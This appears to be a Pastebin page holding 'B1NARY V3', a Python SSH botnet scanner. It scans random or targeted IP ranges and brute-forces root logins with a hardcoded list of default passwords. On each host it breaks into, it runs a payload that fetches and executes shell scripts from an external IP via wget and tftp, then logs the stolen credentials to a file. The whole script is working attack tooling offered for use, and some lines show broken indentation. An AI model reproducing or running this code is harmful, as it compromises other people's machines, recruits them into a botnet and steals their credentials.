Advertisement
ZucoCheezy

BinaryV3-Scanner

Nov 26th, 2018
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 27.68 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #MUST INSTALL PARAMIKO
  4. #yum install python-paramiko -y
  5. """
  6. Usage: python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]
  7. Skype: b1narythag0d
  8. XMPP: b1nary@darkness.su
  9. Made Date: 7-2-16
  10. """
  11. """
  12.  
  13. # ___     __________  ____ _______      _____ _______________.___.  ___    
  14. # / _ \_/\ \______   \/_   |\     \   /  _  \\______   \__  |   | / _ \_/\
  15. # \/ \___/  |    |  _/ |   |/   |   \ /  /_\ \|       _//   |   | \/ \___/
  16. #           |    |   \ |   /    |    \/    |    \   |   \\____   |          
  17. #           |______  / |___\____|__  /\____|__  /____|_  // ______|          
  18. #                  \/              \/         \/       \/ \/                
  19.                             ***B1NARY V3***
  20. """
  21. import threading, paramiko, random, socket, time, sys, os
  22. usage='python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]'
  23. if len(sys.argv) < 4:
  24.         sys.exit(usage)
  25. os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
  26. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  27. paramiko.util.log_to_file("/dev/null")
  28. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  29.  
  30. """
  31. ████████▄     ▄████████    â–„████████  â–„â–ˆ  â–ˆâ–ˆâ–ˆâ–„â–„â–„â–„      â–„████████    â–„████████
  32. ███   ▀███   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███  â–ˆâ–ˆâ–ˆâ–€â–€â–€â–ˆâ–ˆâ–„   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  33. ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  â–ˆâ–ˆâ–ˆâ–Œ ███   ███   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  
  34. ███    â–ˆâ–ˆâ–ˆ  â–„███▄▄▄      â–„███▄▄▄     ███▌ ███   ███  â–„███▄▄▄       ███        
  35. ███    â–ˆâ–ˆâ–ˆ ▀▀███▀▀▀     ▀▀███▀▀▀     ███▌ ███   ███ ▀▀███▀▀▀     ▀███████████
  36. ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–„    â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ  â–ˆâ–ˆâ–ˆ   ███   ███    â–ˆâ–„           ███
  37. ███   ▄███   ███    â–ˆâ–ˆâ–ˆ   ███        â–ˆâ–ˆâ–ˆ  â–ˆâ–ˆâ–ˆ   ███   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  38. ████████▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ   ███        â–ˆâ–€    â–€â–ˆ   █▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ  â–„████████▀                                                                          
  39. """
  40. cmd='cd /tmp || cd /var/run;wget http://148.163.83.79/bin.sh;sh bin.sh;rm -rf bin.sh;tftp -r bint1.sh -g 148.163.83.79;sh bint1.sh; tftp 148.163.83.79 -c get bint2.sh; sh bint2.sh; rm -rf bint1.sh bint2.sh bin.sh\r\n' #PAYLOAD
  41. blacklist = [
  42.     '127'
  43. ]
  44. passwords = [
  45.     "root:root",
  46.     "root:toor",
  47.     "root:admin",
  48.     "root:1234",
  49.     "root:maxided",
  50.     "root:pi",
  51.     "root:alpine",
  52.     "root:r00tnull3d",
  53.     "root:r00tnull3d#",
  54.     "root:rootnull3d#",
  55.     "root:password",
  56.     "root:centos6svm",
  57.     "root:1234",
  58.     "root:123456",
  59.     "root:Love2020",
  60.     "root:Zero",
  61.     "root:Password",
  62.     "root:password",
  63.     "root:qwerty",
  64.     "root:dragon",
  65.     "root:pussy",
  66.     "root:baseball",
  67.     "root:football",
  68.     "root:monkey",
  69.     "root:696969",
  70.     "root:abc123"
  71.     "admin:admin",
  72.     "admin:1234",
  73.     "admin:Guest",
  74.     "ubnt:ubnt",
  75.     "guest:guest",
  76.     "user:user",
  77.     "test:test",
  78.     "pi:raspberry",
  79.     "vagrant:vagrant",
  80.     "localhost:root",
  81.     "B1NARY:B1NARY",
  82.     "tim:tim",
  83.     "CISCO:CISCO",
  84.     "netgear"
  85.     "support:support",
  86.     "oracle:oracle",
  87.     "cusadmin:password",
  88. ]
  89.  
  90. """
  91. â–„â–ˆ     ▄███████▄         ▄████████    â–„████████    â–„██████▄  â–ˆâ–ˆâ–ˆâ–„â–„â–„â–„      â–„████████    â–„████████
  92. ███    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███▀▀▀██▄   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  93. ███▌   ███    â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€  â–ˆâ–ˆâ–ˆ   ███   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  
  94. ███▌   ███    â–ˆâ–ˆâ–ˆ       ▄███▄▄▄▄██▀   ███    â–ˆâ–ˆâ–ˆ  â–„███        â–ˆâ–ˆâ–ˆ   ███  â–„███▄▄▄       ███        
  95. ███▌ ▀█████████▀       ▀▀███▀▀▀▀▀   ▀███████████ ▀▀███ ████▄  â–ˆâ–ˆâ–ˆ   ███ ▀▀███▀▀▀     ▀███████████
  96. ███    â–ˆâ–ˆâ–ˆ             ▀███████████   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███   ███   ███    â–ˆâ–„           ███
  97. ███    â–ˆâ–ˆâ–ˆ               ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███   ███   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  98. █▀    â–„████▀             ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–€   ▀█   █▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ  â–„████████▀  
  99.                         ███    â–ˆâ–ˆâ–ˆ                                                              
  100. """
  101. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  102. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  103. lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  104. lucky2 = ["119.91","119.92","119.93","113.53"]
  105. lol = ["1","2","5","119","180","113","125","122","46","101",""]
  106. load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52"]
  107.  
  108. """
  109.   ▄███████▄    â–„████████    â–„████████    â–„████████       ▄████████  â–„██████▄    â–„▄▄▄███▄▄▄▄   ▀█████████▄   ▄██████▄     ▄████████
  110.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ ▄██▀▀▀███▀▀▀██▄   ███    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  111.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€       ███    â–ˆâ–€  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███   ███    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€  
  112.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███          â–ˆâ–ˆâ–ˆ             ███        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███  â–„███▄▄▄██▀  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███        
  113. ▀█████████▀  â–€â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ ▀███████████ ▀███████████      â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███ ▀▀███▀▀▀██▄  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ▀███████████
  114.  â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–„  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███   ███   ███    â–ˆâ–ˆâ–„ ███    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ
  115.  â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ ███   ███   ███   ███    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  116. ▄████▀        â–ˆâ–ˆâ–ˆ    â–ˆâ–€   ▄████████▀   ▄████████▀       ████████▀   ▀██████▀   ▀█   ███   █▀  â–„█████████▀   ▀██████▀   ▄████████▀                                                                                                                                  
  117. """
  118.  
  119. if sys.argv[4] == '1':
  120.     passwords = ["root:root", "root:admin", "admin:1234"]
  121. if sys.argv[4] == '2':
  122.     passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
  123. if sys.argv[4] == 'routers':
  124.     passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
  125. if sys.argv[4] == 'perl':
  126.     passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  127. if sys.argv[4] == 'ubuntu':
  128.     passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
  129. if sys.argv[4] == 'root':
  130.     passwords = [ "root:root","root:test" ]
  131. if sys.argv[4] == 'vps1':
  132.     passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
  133. if sys.argv[4] == 'vps2':
  134.     passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  135. if sys.argv[4] == 'vps3':
  136.     passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
  137. if sys.argv[4] == 'r00ted':
  138.     passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
  139. if sys.argv[4] == 'brute':
  140.     passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
  141. if sys.argv[4] == 'lol':
  142.     passwords = [ "admin:1234"]
  143.  
  144. """
  145. â–„â–ˆ     ▄███████▄       ▄████████  â–„â–ˆ          â–„████████    â–„████████    â–„████████    â–„████████    â–„████████
  146. ███    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███         ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  147. ███▌   ███    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ    â–ˆâ–€  â–ˆâ–ˆâ–ˆ         ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€  
  148. ███▌   ███    â–ˆâ–ˆâ–ˆ      â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ         ███    â–ˆâ–ˆâ–ˆ   ███          â–ˆâ–ˆâ–ˆ         ▄███▄▄▄       ███        
  149. ███▌ ▀█████████▀       ███        â–ˆâ–ˆâ–ˆ       ▀███████████ ▀███████████ ▀███████████ ▀▀███▀▀▀     ▀███████████
  150. ███    â–ˆâ–ˆâ–ˆ             ███    â–ˆâ–„  â–ˆâ–ˆâ–ˆ         ███    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–„           ███
  151. ███    â–ˆâ–ˆâ–ˆ             ███    â–ˆâ–ˆâ–ˆ ███▌    â–„   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ
  152. █▀    â–„████▀           ████████▀  â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„▄██   ███    â–ˆâ–€   ▄████████▀   ▄████████▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ  â–„████████▀  
  153.                                  â–€                                                                          
  154. """
  155. ipclassinfo = sys.argv[2]
  156. if ipclassinfo == "A":
  157.     ip1 = sys.argv[3]
  158. elif ipclassinfo == "B":
  159.     ip1 = sys.argv[3].split(".")[0]
  160.     ip2 = sys.argv[3].split(".")[1]
  161. elif ipclassinfo == "C":
  162.     ips = sys.argv[3].split(".")
  163.     num=0
  164.     for ip in ips:
  165.         num=num+1
  166.         if num == 1:
  167.             ip1 = ip
  168.         elif num == 2:
  169.             ip2 = ip
  170.         elif num == 3:
  171.             ip3 = ip
  172. """
  173.   ▄████████    â–„████████    â–„â–ˆ    â–ˆâ–„            â–„████████  â–„████████    â–„████████ ███▄▄▄▄   ███▄▄▄▄      â–„████████    â–„████████
  174.  â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███▀▀▀██▄ ███▀▀▀██▄   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  175.  â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–€  â–ˆâ–ˆâ–ˆ    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███   ███    â–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ
  176.  â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ         ▄███▄▄▄▄███▄▄        â–ˆâ–ˆâ–ˆ        â–ˆâ–ˆâ–ˆ          â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███  â–„███▄▄▄      â–„███▄▄▄▄██▀
  177. ▀███████████ ▀███████████ ▀▀███▀▀▀▀███▀       ▀███████████ ███        â–€â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ ███   ███ ███   ███ ▀▀███▀▀▀     ▀▀███▀▀▀▀▀  
  178.         ███          â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ                 ███ ███    â–ˆâ–„    â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███   ███    â–ˆâ–„  â–€â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ
  179.   â–„â–ˆ    â–ˆâ–ˆâ–ˆ    â–„â–ˆ    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ           â–„â–ˆ    â–ˆâ–ˆâ–ˆ ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ ███   ███ ███   ███   ███    â–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  180. ▄████████▀   ▄████████▀    â–ˆâ–ˆâ–ˆ    â–ˆâ–€          â–„████████▀  â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–€    â–ˆâ–ˆâ–ˆ    â–ˆâ–€   ▀█   █▀   ▀█   █▀    â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ   ███    â–ˆâ–ˆâ–ˆ
  181.                                                                                                                      â–ˆâ–ˆâ–ˆ    â–ˆâ–ˆâ–ˆ
  182. """
  183. class sshscanner(threading.Thread):
  184.     global passwords
  185.     global ipclassinfo
  186.     if ipclassinfo == "A":
  187.         global ip1
  188.     elif ipclassinfo == "B":
  189.         global ip1
  190.         global ip2
  191.     elif ipclassinfo == "C":
  192.         global ip1
  193.         global ip2
  194.         global ip3
  195.     def run(self):
  196.         while 1:
  197.             try:
  198.                 while 1:
  199.                     thisipisbad='no'
  200.                     if ipclassinfo == "A":
  201.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  202.                     elif ipclassinfo == "B":
  203.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  204.                     elif ipclassinfo == "C":
  205.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  206.                     elif ipclassinfo == "BRAZIL":
  207.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  208.                     elif ipclassinfo == "SUPER":
  209.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  210.                     elif ipclassinfo == "LUCKY":
  211.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  212.                     elif ipclassinfo == "LUCKY2":
  213.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  214.                     elif ipclassinfo == "RAND":
  215.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  216.                     elif ipclassinfo == "INTERNET":
  217.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  218.             elif ipclassinfo == "LOAD":
  219.                         self.host = random.choice(load)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  220.                     else:
  221.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  222.                     for badip in blacklist:
  223.                         if badip in self.host:
  224.                             thisipisbad='yes'
  225.                     if thisipisbad=='no':
  226.                         break
  227.                 username='root'
  228.                 password=""
  229.                 port = 22
  230.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  231.                 s.settimeout(3)
  232.                 s.connect((self.host, port))
  233.                 s.close()
  234.                 ssh = paramiko.SSHClient()
  235.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  236.                 dobreak=False
  237.                 for passwd in passwords:
  238.                     if ":n/a" in passwd:
  239.                         password=""
  240.                     else:
  241.                         password=passwd.split(":")[1]
  242.                     if "n/a:" in passwd:
  243.                         username=""
  244.                     else:
  245.                         username=passwd.split(":")[0]
  246.                     try:
  247.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  248.                         dobreak=True
  249.                         break
  250.                     except:
  251.                         pass
  252.                     if True == dobreak:
  253.                         break
  254.                 badserver=True
  255.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  256.                 output = stdout.read()
  257.                 if "inet addr" in output:
  258.                     badserver=False
  259.                 if badserver == False:
  260.                         print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  261.                         ssh.exec_command(""+cmd+"")
  262.                         time.sleep(20)
  263.                         ssh.close()
  264.             open("infected.txt","a").write(username+":"+password+":"+self.host+"\n")
  265.             except:
  266.                 pass
  267.  
  268. for x in range(0,int(sys.argv[1])):
  269.     try:
  270.         t = sshscanner()
  271.         t.start()
  272.     except:
  273.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement